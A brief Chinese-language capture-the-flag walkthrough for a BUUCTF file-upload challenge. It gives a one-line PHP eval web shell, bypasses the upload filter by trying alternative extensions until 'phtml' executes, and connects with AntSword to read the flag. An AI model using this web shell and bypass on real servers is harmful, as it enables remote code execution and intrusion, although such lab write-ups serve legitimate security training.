该题可在BUUCTF里找到
打开页面
鼠标移到灯泡上显示可以上传文件
先上传一个php文件试试
说明只能上传jpg,png,gif等后缀的文件,那接下来我们就抓包修改数据包信息,尝试修改文件的类型
先写一个一句话木马
<script language="php">@eval($_POST[666]);</script>
抓包修改数据包信息
尝试修改后缀为:php1,php2, php3, php4, php5, phps, pht, phtm, phtml
经过尝试最后发现后缀改为phtml 文件能够被解析
然后用蚁剑连接,打开终端查看就可以获得flag